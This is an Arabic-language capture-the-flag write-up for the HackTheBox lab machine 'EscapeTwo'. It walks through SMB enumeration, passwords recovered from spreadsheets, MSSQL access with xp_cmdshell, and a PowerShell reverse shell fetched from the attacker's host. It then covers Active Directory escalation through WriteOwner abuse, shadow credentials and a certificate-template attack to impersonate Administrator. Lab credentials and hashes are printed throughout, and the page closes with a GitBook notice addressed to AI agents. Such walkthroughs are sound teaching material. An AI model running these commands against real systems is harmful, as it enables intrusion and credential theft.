> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # تقرير HackTheBox عن EscapeTwo {% embed url="" %} {% hint style="warning" %} **المهارات:** * استكشاف SMB * تسريب معلومات كلمات المرور (ملف zip، ملف Excel) * استغلال MSSQL (Microsoft SQL) مع تنفيذ أوامر عن بُعد RCE * تعداد BloodHund * المستخدم WriteOwner CA/\_SVC (تصعيد الامتيازات) {% endhint %} في اختبار الاختراق لهذا بيئة Windows، لدينا بيانات الاعتماد التالية: * اسم المستخدم: `rose` * كلمة المرور: `KxEPkKe6R8su` ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** باستخدام دالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` الحافظة

فحص إصدارات المنافذ باستخدام Nmap: استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

### المنفذ 445 - SMB **التحقق من المستخدم باستخدام CrackMapExec** نؤكد أن `rose` المستخدم موجود على وحدة تحكم المجال (DC): ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**استكشاف مشاركات SMB** نُدرِج المشاركات القابلة للوصول باستخدام `--shares` الأمر: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **النتيجة**: تظهر مجلدان مثيران للاهتمام: * `المستخدمين` * `قسم المحاسبة`

/*/* الاتصال بمشاركة SMB باستخدام smbclient/*/* نصل إلى **قسم المحاسبة**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` في هذا الدليل، نسترجع ملفي Excel: ```powershell get accounting_2024.xlsx get accounts.xlsx ```

**تحديد تنسيق الملف** باستخدام `الملف` الأمر، نحدد أن هذه الملفات هي في الواقع أرشيفات ZIP.

**استخراج ملفات ZIP** نفك ضغط الملفات المسترجعة:

**البحث عن معلومات حساسة** نرشّح الملفات المستخرجة للعثور على معلومات تحتوي على الكلمة المفتاحية **كلمة المرور**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**النتيجة**، ملف باسم `shareStrings.xml` يحتوي على قائمة بالمستخدمين وكلمات المرور.

الاسم الأول	اسم العائلة	البريد الإلكتروني	اسم المستخدم	كلمة المرور
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**اختبار المعرفات باستخدام CrackMapExec** نستخدم بيانات الاعتماد المسترجعة للتحقق من الحسابات: ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **النتيجة**: فقط الـ `oscar` المستخدم صالح.

## استغلال MSSQL (Microsoft SQL) **المنفذ 1433 (MSSQL)** المنفذ 1433 مفتوح، مما يشير إلى أن خادم Microsoft SQL قيد الاستماع. سنختبر الاتصالات باستخدام المستخدمين المختلفين المسترجعين سابقًا.

**اختبار الاتصال بـ MSSQL** نستخدم `mssqlclient.py` لمحاولة الاتصال: ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**النتيجة**فقط المستخدم `sa` يعمل. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### غلاف عكسي عبر MSSQL **تمكين تنفيذ الأوامر** لتنفيذ أوامر النظام، نقوم بتفعيل `xp_cmdshell`: ```sql enable_xp_cmdshell ``` ثم نختبر بأمر بسيط، مثل `ipconfig`: ```sql xp_cmdshell ipconfig ```

**إعداد الاستماع على جهازنا** نقوم بتشغيل مستمع على المنفذ 4444: ```bash rlwrap nc -nvlp 4444 ``` **تنزيل سكربت PowerShell** نحن نُعد سكربت PowerShell يُسمى `PS.ps1` يتضمن أمر reverse shell. في نهاية السكربت، نضيف السطر التالي: {% embed url="" %} في نهاية السكربت، نضيف السطر التالي: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` نستضيف هذا السكربت على خادم ويب محلي: ```bash python3 -m http.server 80 ``` **تنفيذ reverse shell** من خادم MSSQL، ننفذ الأمر التالي لتنزيل سكربت PowerShell وتشغيله: ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## الانتقال إلى المستخدم Ryan **تم اكتشاف بيانات اعتماد جديدة** من خلال استكشاف النظام، نكتشف دليلاً باسم **SQL2019** في الجذر. وداخله، نجد بيانات الاعتماد التالية: * اسم المستخدم : `ryan` * كلمة المرور: `WqSZAF6CysDQbGb3`

**التحقق من المعرفات باستخدام CrackMapExec** نتحقق مما إذا كانت هذه البيانات صالحة: ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

من خلال استكشاف الدلائل المشتركة، نحدد مستخدمًا باسم `ryan`، ونختبر بيانات الاعتماد نفسها كما هو الحال مع `sql_svc`:

**النتيجة**: كما تعمل المعرفات أيضًا مع المستخدم `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### الراية user.txt :)

## تصعيد الامتيازات ### تعداد BloodHound-python الأمر المستخدم: ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner: **ملاحظة :**/ الـ **Ryan** لدى المستخدم `WriteOwner` صلاحية في **CA/ SVC** الحساب، وهو أيضًا مُصدِّر الشهادة. وهذا يعني أنه يمكننا تعديل مالك الحساب **CA/ SVC** لإسناد **Ryan**.

### السيطرة على CA/\_SVC باستخدام BloodyAD #### تغيير مالك الحساب {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} يستخدم هذا الأمر BloodyAD لتعديل مالك **CA/ SVC** وتعيينه على **Ryan**. وبصفته المالك، **Ryan** يمكنه الآن تغيير الصلاحيات المرتبطة بالحساب. ### تعديل الأذونات باستخدام Dacledit #### منح Ryan صلاحية كاملة {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} يعدّل هذا الأمر **DACL** (قائمة التحكم في الوصول التقديرية) الخاصة بـ **CA/ SVC** الحساب لمنح **Ryan**تحكمًا كاملاً لـ Ryan. وهذا يسمح لRyan بإعادة تعيين كلمة المرور أو التلاعب بمفاتيح المصادقة.

### استخراج Shadow Credentials #### إنشاء واسترجاع طباعة تجزئة NT {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

تجزئة NT لـ **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` الـ **Certipy** ينشئ هذا الأمر مفتاح تعريف لـ **CA/ SVC**، مما يتيح المصادقة المستندة إلى الشهادة. كما يتم إنشاء ملف `.ccache` أيضًا، مما يسهّل الهجمات المستندة إلى Kerberos. ### تعديل قالب الشهادة #### تعديل قالب DunderMifflinAuthentication {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

يعدّل هذا الأمر **DunderMifflinAuthentication** قالب شهادة للسماح بإصدار شهادات بصلاحيات عالية. ### إصدار شهادة للمسؤول #### طلب شهادة للانتحال {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

يتطلب هذا الأمر شهادة نيابةً عن Administrator (`Administrator@sequel.htb`، مما يسمح بانتحال هوية هذا الحساب. ### المصادقة بصفة Administrator #### استخدام الشهادة للمصادقة ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**تجزئة NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

يقوم هذا الأمر بالمصادقة بصفة Administrator باستخدام الشهادة التي تم الحصول عليها سابقًا ويسترجع تجزئة NTLM. ### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.